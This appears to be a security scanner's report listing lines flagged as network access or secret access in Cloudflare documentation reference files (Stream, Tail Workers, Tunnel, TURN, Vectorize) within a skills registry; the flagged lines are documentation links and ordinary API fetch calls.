    | Update inputs, recording, retention, or stream keys | [Manage live inputs](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md#manage-live-inputs) |
  • Network accessline 9
    | Choose persistent-channel playback versus a particular video | [View by live input ID or video ID](https://developers.cloudflare.com/stream/stream-live/watch-live-stream/index.md#view-by-live-input-id-or-video-id) |
  • Network accessline 10
    | Find and replay recorded broadcasts | [Replay recordings](https://developers.cloudflare.com/stream/stream-live/replay-recordings/index.md) |
  • Network accessline 11
    | Forward broadcasts to external platforms | [Simulcasting configuration and limits](https://developers.cloudflare.com/stream/stream-live/simulcasting/index.md) |
  • Network accessline 12
    | Receive connection and disconnection notifications | [Live webhooks](https://developers.cloudflare.com/stream/stream-live/webhooks/index.md) |
  • Network accessline 13
    | Publish and play using WHIP/WHEP | [WebRTC requirements and endpoints](https://developers.cloudflare.com/stream/webrtc-beta/index.md) and [browser integration](https://developers.cloudflare.com/stream/examples/browser-based-webrtc/index.m
  • Network accessline 14
    | Diagnose encoder, buffering, or latency problems | [Live troubleshooting](https://developers.cloudflare.com/stream/stream-live/troubleshooting/index.md) |
  • Network accessline 16
    Keep publishing credentials separate from viewer playback data. Decide whether the application stores a reusable live input, individual recording IDs, or both. Route recording processing events through [video webhooks](https://developers.cl

packages/autoskills/skills-registry/cloudflare/references/stream/api.md

  • Network accessline 5
    | Task | Read | |---|---| | Issue a one-time upload URL to an end user | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 6
    |---|---| | Issue a one-time upload URL to an end user | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | | Resume uploads or handle unreliable connections | [Resumable up
  • Network accessline 7
    | Issue a one-time upload URL to an end user | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 8
    | Resume uploads or handle unreliable connections | [Resumable uploads and requirements](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/index.md) |
  • Network accessline 9
    | Import a video already hosted elsewhere | [Upload via link](https://developers.cloudflare.com/stream/uploading-videos/upload-via-link/index.md) |
  • Network accessline 10
    | Embed an iframe or React player | [Use the Stream Player](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) |
  • Network accessline 11
    | Use HLS/DASH with an existing player | [Use your own player](https://developers.cloudflare.com/stream/viewing-videos/using-own-player/index.md) | | Issue playback tokens | [Signed URLs and token-generation choices](https://developers.clou
  • Network accessline 12
    | Issue playback tokens | [Signed URLs and token-generation choices](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md#three-ways-to-generate-signed-tokens) | | Generate previews or downloadable files | [
  • Network accessline 13
    | Generate previews or downloadable files | [Thumbnails](https://developers.cloudflare.com/stream/viewing-videos/displaying-thumbnails/index.md) and [downloads](https://developers.cloudflare.com/stream/viewing-videos/download-videos/index.m
  • Network accessline 14
    | Upload captions or generate them with Stream | [Add captions](https://developers.cloudflare.com/stream/edit-videos/adding-captions/index.md) |
  • Network accessline 15
    | Apply branding during upload | [Watermarks](https://developers.cloudflare.com/stream/edit-videos/applying-watermarks/index.md) |
  • Network accessline 16
    | Trim an on-demand video | [Video clipping](https://developers.cloudflare.com/stream/edit-videos/video-clipping/index.md) |
  • Network accessline 17
    | List and filter videos through the REST API | [List videos](https://developers.cloudflare.com/api/resources/stream/methods/list/index.md) |
  • Network accessline 18
    | Manage videos from a Worker | [Stream binding methods](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#methods) |
  • Network accessline 19
    | React to encoding success or failure | [Video webhooks](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md) |

packages/autoskills/skills-registry/cloudflare/references/stream/configuration.md

  • Network accessline 5
    | Task | Read | |---|---| | Configure Stream in a Worker and use its binding | [Stream binding setup](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#setup) |
  • Network accessline 6
    |---|---| | Configure Stream in a Worker and use its binding | [Stream binding setup](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#setup) | | Set creator upload constraints and metadata | [Direct creator u
  • Network accessline 7
    | Configure Stream in a Worker and use its binding | [Stream binding setup](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#setup) |
  • Network accessline 8
    | Set creator upload constraints and metadata | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 9
    | Choose a token endpoint, Worker binding, or signing key | [Token-generation choices](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md#three-ways-to-generate-signed-tokens) |
  • Network accessline 10
    | Require private playback or apply token restrictions | [Secure your Stream](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) |
  • Network accessline 11
    | Restrict embedding origins | [Allowed origins](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md#allowed-origins) |
  • Network accessline 12
    | Configure processing notifications and their secret | [Video webhooks](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md) |
  • Network accessline 13
    | Configure live recording or external destinations | [Live inputs](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) and [simulcasting](https://developers.cloudflare.com/stream/stream-live/simulcasting/index.
  • Network accessline 14
    | Choose player configuration or framework integration | [Stream Player](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) |

packages/autoskills/skills-registry/cloudflare/references/stream/gotchas.md

  • Network accessline 5
    | Symptom or check | Read | |---|---| | Unsupported file or upload constraint failure | [Supported formats and upload requirements](https://developers.cloudflare.com/stream/uploading-videos/index.md) |
  • Network accessline 6
    |---|---| | Unsupported file or upload constraint failure | [Supported formats and upload requirements](https://developers.cloudflare.com/stream/uploading-videos/index.md) | | Large upload fails or restarts after interruption | [Resumable u
  • Network accessline 7
    | Unsupported file or upload constraint failure | [Supported formats and upload requirements](https://developers.cloudflare.com/stream/uploading-videos/index.md) | | Large upload fails or restarts after interruption | [Resumable upload requ
  • Network accessline 8
    | Large upload fails or restarts after interruption | [Resumable upload requirements](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/index.md#requirements) | | Stream cannot fetch an imported video | [Upload via
  • Network accessline 9
    | Stream cannot fetch an imported video | [Upload via link requirements](https://developers.cloudflare.com/stream/uploading-videos/upload-via-link/index.md) |
  • Network accessline 10
    | Upload finished but video is not playable | [Upload progress tracking](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md#track-upload-progress) and [processing error codes](https://developers.cloudf
  • Network accessline 11
    | Private playback or embedding fails | [Signed tokens, restrictions, and allowed origins](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) |
  • Network accessline 12
    | Webhook signature verification fails | [Verify the raw body and signature](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md#verify-webhook-authenticity) |
  • Network accessline 13
    | A custom HLS/DASH player behaves incorrectly | [Own-player integration and manifest handling](https://developers.cloudflare.com/stream/viewing-videos/using-own-player/index.md) |
  • Network accessline 14
    | Live stream will not connect or playback buffers | [Live troubleshooting](https://developers.cloudflare.com/stream/stream-live/troubleshooting/index.md) |
  • Network accessline 15
    | Simulcast output does not behave as expected | [Output configuration and limits](https://developers.cloudflare.com/stream/stream-live/simulcasting/index.md) |
  • Network accessline 16
    | Estimate storage or delivery costs | [Stream pricing](https://developers.cloudflare.com/stream/pricing/index.md) |

packages/autoskills/skills-registry/cloudflare/references/stream/patterns.md

  • Network accessline 5
    | Workflow | Read | |---|---| | Browser uploads through a server-issued URL | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 6
    |---|---| | Browser uploads through a server-issued URL | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | | Large or interruption-prone uploads | [Resumable uploads](http
  • Network accessline 7
    | Browser uploads through a server-issued URL | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 8
    | Large or interruption-prone uploads | [Resumable uploads](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/index.md) |
  • Network accessline 9
    | Update application state when processing completes | [Video webhooks](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md) and [upload progress tracking](https://developers.cloudflare.com/stream/uploading
  • Network accessline 10
    | Verify an incoming processing notification | [Webhook authenticity](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md#verify-webhook-authenticity) |
  • Network accessline 11
    | Embed playback in a React application | [Stream Player and framework integrations](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) |
  • Network accessline 12
    | Serve private videos | [Signed playback and signing examples](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) |
  • Network accessline 13
    | Broadcast from a browser | [Browser-based WebRTC](https://developers.cloudflare.com/stream/examples/browser-based-webrtc/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tail-workers/README.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Decide whether custom processing is needed | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) |
  • Network accessline 6
    | --- | --- | | Decide whether custom processing is needed | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | | Export logs and traces to an observability destination | [OpenTelemetry expo
  • Network accessline 7
    | Decide whether custom processing is needed | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) |
  • Network accessline 8
    | Export logs and traces to an observability destination | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
  • Network accessline 9
    | Inspect a deployment interactively | [Real-time logs](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md) |
  • Network accessline 10
    | Implement the consumer | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tail-workers/api.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Implement the handler and understand asynchronous processing | [Tail handler syntax](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#syntax) |
  • Network accessline 6
    | --- | --- | | Implement the handler and understand asynchronous processing | [Tail handler syntax](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#syntax) | | Interpret execution outcomes, logs, exceptions, a
  • Network accessline 7
    | Implement the handler and understand asynchronous processing | [Tail handler syntax](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#syntax) |
  • Network accessline 8
    | Interpret execution outcomes, logs, exceptions, and timestamps | [Tail handler event reference](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |
  • Network accessline 9
    | Inspect request fields and redaction behavior | [TailRequest](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailrequest) |
  • Network accessline 10
    | Interpret events from dynamic dispatch and user Workers | [Handler parameters](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#parameters) |
  • Network accessline 11
    | Write aggregated metrics | [Analytics Engine from Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#use-analytics-engine-for-aggregated-metrics) |

packages/autoskills/skills-registry/cloudflare/references/tail-workers/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) |
  • Network accessline 6
    | --- | --- | | Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | | Configure environments and resource bindings | [Wr
  • Network accessline 7
    | Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) |
  • Network accessline 8
    | Configure environments and resource bindings | [Wrangler configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md) |
  • Network accessline 9
    | Configure destination credentials | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) |
  • Network accessline 10
    | Use built-in telemetry destinations instead | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
  • Network accessline 11
    | Check availability and billing model | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) |
  • Network accessline 12
    | Check runtime capacity | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) |
  • Network accessline 13
    | Check the handler required by the consumer | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tail-workers/gotchas.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Consumer receives no events or producer setup fails | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) |
  • Network accessline 6
    | --- | --- | | Consumer receives no events or producer setup fails | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | | Async processing or event interpre
  • Network accessline 7
    | Consumer receives no events or producer setup fails | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) |
  • Network accessline 8
    | Async processing or event interpretation is incorrect | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |
  • Network accessline 9
    | Filters confuse HTTP responses with execution failures | [TailItems](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailitems) |
  • Network accessline 10
    | Request data is missing or unexpectedly retained | [TailRequest](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailrequest) |
  • Network accessline 11
    | Inspect producer and consumer execution | [Real-time logs](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md) |
  • Network accessline 12
    | Reconsider a custom exporter at higher volume | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tail-workers/patterns.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Export supported telemetry without a custom consumer | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
  • Network accessline 6
    | --- | --- | | Export supported telemetry without a custom consumer | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | | Process and forward custom execution events | [Tail Workers](ht
  • Network accessline 7
    | Export supported telemetry without a custom consumer | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
  • Network accessline 8
    | Process and forward custom execution events | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) |
  • Network accessline 9
    | Aggregate metrics rather than retain individual events | [Analytics Engine from Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#use-analytics-engine-for-aggregated-metrics) |
  • Network accessline 10
    | Choose filters based on execution and request fields | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |
  • Network accessline 11
    | Review sensitive request data handling | [TailRequest](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailrequest) |

packages/autoskills/skills-registry/cloudflare/references/tunnel/README.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Create a remotely-managed tunnel or a temporary development tunnel | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 6
    | --- | --- | | Create a remotely-managed tunnel or a temporary development tunnel | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | Maintain a tunnel managed through local files | [Create a locally-managed tunnel
  • Network accessline 7
    | Create a remotely-managed tunnel or a temporary development tunnel | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 8
    | Maintain a tunnel managed through local files | [Create a locally-managed tunnel](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/create-local-tunnel/index.md) |
  • Network accessline 9
    | Publish an application and check protocol requirements | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) |
  • Network accessline 10
    | Choose private networking, Workers VPC, or Access integration | [Integrations](https://developers.cloudflare.com/tunnel/integrations/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tunnel/api.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Create a tunnel, configure ingress, and create application DNS through the API | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 6
    | --- | --- | | Create a tunnel, configure ingress, and create application DNS through the API | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | List existing tunnels and inspect response fields | [List Cloudflare
  • Network accessline 7
    | Create a tunnel, configure ingress, and create application DNS through the API | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 8
    | List existing tunnels and inspect response fields | [List Cloudflare Tunnels API](https://developers.cloudflare.com/api/resources/zero_trust/subresources/tunnels/subresources/cloudflared/methods/list/index.md) |
  • Network accessline 9
    | Retrieve and rotate tunnel tokens | [Tunnel tokens](https://developers.cloudflare.com/tunnel/reference/tunnel-tokens/index.md) |
  • Network accessline 10
    | Manage local tunnels using the CLI | [Useful commands](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/tunnel-useful-commands/index.md) |
  • Network accessline 11
    | Configure public DNS and routing behavior | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) |
  • Network accessline 12
    | Select private-network integration and its setup guide | [Integrations](https://developers.cloudflare.com/tunnel/integrations/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tunnel/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Configure remotely-managed tunnels | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 6
    | --- | --- | | Configure remotely-managed tunnels | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | Edit local ingress rules, service mappings, and validate matching | [Configuration file](https://developers.clou
  • Network accessline 7
    | Configure remotely-managed tunnels | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 8
    | Edit local ingress rules, service mappings, and validate matching | [Configuration file](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/configuration-file/index.md) |
  • Network accessline 9
    | Configure origin TLS, HTTP, and connection behavior | [Origin parameters](https://developers.cloudflare.com/tunnel/reference/origin-parameters/index.md) |
  • Network accessline 10
    | Configure runtime flags and service arguments | [Run parameters](https://developers.cloudflare.com/tunnel/reference/run-parameters/index.md) |
  • Network accessline 11
    | Manage remote tunnel tokens and rotation | [Tunnel tokens](https://developers.cloudflare.com/tunnel/reference/tunnel-tokens/index.md) |
  • Network accessline 12
    | Choose service protocols and DNS routing | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tunnel/gotchas.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Tunnel fails to connect or reports an error | [Troubleshooting](https://developers.cloudflare.com/tunnel/troubleshooting/index.md) |
  • Network accessline 6
    | --- | --- | | Tunnel fails to connect or reports an error | [Troubleshooting](https://developers.cloudflare.com/tunnel/troubleshooting/index.md) | | Tunnel is healthy but an HTTPS application fails or redirects | [HTTPS origins](https://d
  • Network accessline 7
    | Tunnel fails to connect or reports an error | [Troubleshooting](https://developers.cloudflare.com/tunnel/troubleshooting/index.md) |
  • Network accessline 8
    | Tunnel is healthy but an HTTPS application fails or redirects | [HTTPS origins](https://developers.cloudflare.com/tunnel/troubleshooting/https-origins/index.md) |
  • Network accessline 9
    | Inspect connection health and application diagnostics | [Monitoring](https://developers.cloudflare.com/tunnel/observability/index.md) |
  • Network accessline 10
    | Check local configuration and rule matching | [Configuration file](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/configuration-file/index.md) |
  • Network accessline 11
    | Connections behave unexpectedly after token rotation | [Tunnel tokens](https://developers.cloudflare.com/tunnel/reference/tunnel-tokens/index.md) |
  • Network accessline 12
    | Check replica capacity or firewall requirements | [Configuration](https://developers.cloudflare.com/tunnel/configuration/index.md) |
  • Network accessline 13
    | Update an existing installation | [Update cloudflared](https://developers.cloudflare.com/tunnel/guides/update-cloudflared/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tunnel/networking.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Determine required egress ports and destinations | [Firewall rules](https://developers.cloudflare.com/tunnel/configuration/index.md#firewall-rules) |
  • Network accessline 6
    | --- | --- | | Determine required egress ports and destinations | [Firewall rules](https://developers.cloudflare.com/tunnel/configuration/index.md#firewall-rules) | | Diagnose DNS, QUIC, or TCP connectivity | [Connection errors](https://de
  • Network accessline 7
    | Determine required egress ports and destinations | [Firewall rules](https://developers.cloudflare.com/tunnel/configuration/index.md#firewall-rules) |
  • Network accessline 8
    | Diagnose DNS, QUIC, or TCP connectivity | [Connection errors](https://developers.cloudflare.com/tunnel/troubleshooting/index.md#connection-errors) |
  • Network accessline 9
    | Configure transport and runtime options | [Run parameters](https://developers.cloudflare.com/tunnel/reference/run-parameters/index.md) |
  • Network accessline 10
    | Check service protocols and client requirements | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) |
  • Network accessline 11
    | Set up private-network access with Cloudflare One | [Connect private networks with cloudflared](https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/private-net/cloudflared/index.md) |
  • Network accessline 12
    | Inspect tunnel health, logs, and metrics | [Monitoring](https://developers.cloudflare.com/tunnel/observability/index.md) |

packages/autoskills/skills-registry/cloudflare/references/tunnel/patterns.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Install a remotely-managed tunnel on a host or in Docker | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 6
    | --- | --- | | Install a remotely-managed tunnel on a host or in Docker | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | Deploy cloudflared inside a cluster | [Kubernetes](https://developers.cloudflare.com/tunne
  • Network accessline 7
    | Install a remotely-managed tunnel on a host or in Docker | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) |
  • Network accessline 8
    | Deploy cloudflared inside a cluster | [Kubernetes](https://developers.cloudflare.com/tunnel/guides/kubernetes/index.md) |
  • Network accessline 9
    | Manage tunnel infrastructure declaratively | [Terraform](https://developers.cloudflare.com/tunnel/guides/terraform/index.md) |
  • Network accessline 10
    | Deploy replicas and check current capacity | [Replicas and high availability](https://developers.cloudflare.com/tunnel/configuration/index.md#replicas-and-high-availability) |
  • Network accessline 11
    | Choose redundancy or explicit traffic steering | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) |
  • Network accessline 12
    | Plan upgrades for the existing installation method | [Update cloudflared](https://developers.cloudflare.com/tunnel/guides/update-cloudflared/index.md) |
  • Network accessline 13
    | Add authentication or private connectivity | [Integrations](https://developers.cloudflare.com/tunnel/integrations/index.md) |

packages/autoskills/skills-registry/cloudflare/references/turn/README.md

  • Network accessline 79
    - [Cloudflare Calls Documentation](https://developers.cloudflare.com/realtime/index.md)
  • Network accessline 80
    - [Cloudflare TURN Service Docs](https://developers.cloudflare.com/realtime/turn/index.md)
  • Network accessline 81
    - [Cloudflare API Reference](https://developers.cloudflare.com/api/resources/calls/subresources/turn/index.md)
  • Network accessline 82
    - [Orange Meets (Open Source Example)](https://github.com/cloudflare/orange)

packages/autoskills/skills-registry/cloudflare/references/turn/api.md

  • Network accessline 9
    Base URL: `https://api.cloudflare.com/client/v4`
  • Network accessline 63
    POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/generate
  • Network accessline 105
    POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/revoke
  • Network accessline 193
    const response = await fetch(
  • Network accessline 194
    `https://rtc.live.cloudflare.com/v1/turn/keys/${config.keyId}/credentials/generate`,

packages/autoskills/skills-registry/cloudflare/references/turn/configuration.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 69
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 70
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 79
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 80
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 88
    const response = await fetch(
  • Network accessline 89
    `https://rtc.live.cloudflare.com/v1/turn/keys/${env.TURN_KEY_ID}/credentials/generate`,
  • Access to secretsline 93
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/turn/gotchas.md

  • Network accessline 101
    [Credential-related source omitted]
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    const response = await fetch(`https://rtc.live.cloudflare.com/v1/turn/...`, {
  • Network accessline 107
    // ✅ GOOD: Generate credentials server-side const response = await fetch('/api/turn-credentials');
  • Network accessline 108
    const response = await fetch('/api/turn-credentials');
  • Network accessline 135
    Reference: [RFC 8445 Section 2.4](https://datatracker.ietf.org/doc/html/rfc8445#section-2.4)

packages/autoskills/skills-registry/cloudflare/references/turn/patterns.md

  • Network accessline 21
    async function getTURNConfig(): Promise<RTCIceServer[]> {   const response = await fetch('/api/turn-credentials');
  • Network accessline 22
    const response = await fetch('/api/turn-credentials');
  • Network accessline 79
    async function refreshTURNCredentials(pc: RTCPeerConnection): Promise<void> {   const newCreds = await fetch('/turn-credentials').then(r => r.json());
  • Network accessline 80
    const newCreds = await fetch('/turn-credentials').then(r => r.json());
  • Network accessline 132
    const res = await fetch(
  • Network accessline 133
    `https://rtc.live.cloudflare.com/v1/turn/keys/${keyId}/credentials/generate`,

packages/autoskills/skills-registry/cloudflare/references/vectorize/README.md

  • Network accessline 5
    Fetch current documentation before implementing. Start with the [Vectorize documentation index](https://developers.cloudflare.com/vectorize/llms.txt) to discover pages; load only those relevant to the task. Treat the docs as the source of t
  • Network accessline 9
    | Task | Read | |------|------| | Create an index and connect a Worker | [Configuration](configuration.md) and [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) |
  • Network accessline 10
    |------|------| | Create an index and connect a Worker | [Configuration](configuration.md) and [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) | | Insert, update, query, retrieve, or delet
  • Network accessline 11
    | Create an index and connect a Worker | [Configuration](configuration.md) and [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) |
  • Network accessline 18
    - Use a consistent embedding model and preprocessing for stored vectors and queries. Matching dimensions alone does not make different models' embeddings compatible. - Choose dimensions from the embedding output and a distance metric approp
  • Network accessline 19
    - Choose dimensions from the embedding output and a distance metric appropriate to that model. Changing either requires a new index; check [index configuration and scoring semantics](https://developers.cloudflare.com/vectorize/best-practice
  • Network accessline 20
    - Plan filterable metadata before ingestion. Adding an index later requires re-upserting existing vectors to index that metadata; see [metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md).
  • Network accessline 22
    - Design for asynchronous mutation visibility rather than assuming a completed write is already searchable. See [mutation semantics](https://developers.cloudflare.com/vectorize/reference/client-api/index.md).

packages/autoskills/skills-registry/cloudflare/references/vectorize/api.md

  • Network accessline 3
    Fetch the relevant section of the [Workers binding API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) before writing calls or types.
  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Vector shape, binding, and generated TypeScript types | [Vectorize API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) |
  • Network accessline 6
    |------|-----------------------| | Vector shape, binding, and generated TypeScript types | [Vectorize API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) | | Insert, upsert, retrieve by ID, delete, or inspect an 
  • Network accessline 7
    | Vector shape, binding, and generated TypeScript types | [Vectorize API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) |
  • Network accessline 8
    | Insert, upsert, retrieve by ID, delete, or inspect an index | [Operations](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#operations) |
  • Network accessline 9
    | Query by vector or ID; choose returned metadata, values, and scoring precision | [Query vectors](https://developers.cloudflare.com/vectorize/best-practices/query-vectors/index.md) and [query options](https://developers.cloudflare.com/vect
  • Network accessline 10
    | Filter by metadata, combine conditions, or use nested properties | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md) |
  • Network accessline 11
    | Batch ingestion and select vector formats | [Insert vectors](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md) and [current limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) |
  • Network accessline 12
    | Manage indexes or vectors outside a Worker | [Wrangler commands](https://developers.cloudflare.com/vectorize/reference/wrangler-commands/index.md) and [REST API](https://developers.cloudflare.com/api/resources/vectorize/subresources/index

packages/autoskills/skills-registry/cloudflare/references/vectorize/configuration.md

  • Network accessline 3
    | Task | Current documentation | |------|-----------------------| | Create an index, choose dimensions and metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) |
  • Network accessline 4
    |------|-----------------------| | Create an index, choose dimensions and metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) | | Bind an index to a Worker, develop, deploy, and veri
  • Network accessline 5
    | Create an index, choose dimensions and metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) |
  • Network accessline 6
    | Bind an index to a Worker, develop, deploy, and verify queries | [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) |
  • Network accessline 7
    | Configure bindings and generate types | [Binding and TypeScript guidance](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#binding-to-a-worker) |
  • Network accessline 8
    | Create, list, or delete metadata indexes | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md) and [Wrangler commands](https://developers.cloudflare.com/vectorize/reference/wrangler-comm
  • Network accessline 9
    | Manage indexes and vectors through the CLI | [Wrangler commands](https://developers.cloudflare.com/vectorize/reference/wrangler-commands/index.md) |
  • Network accessline 10
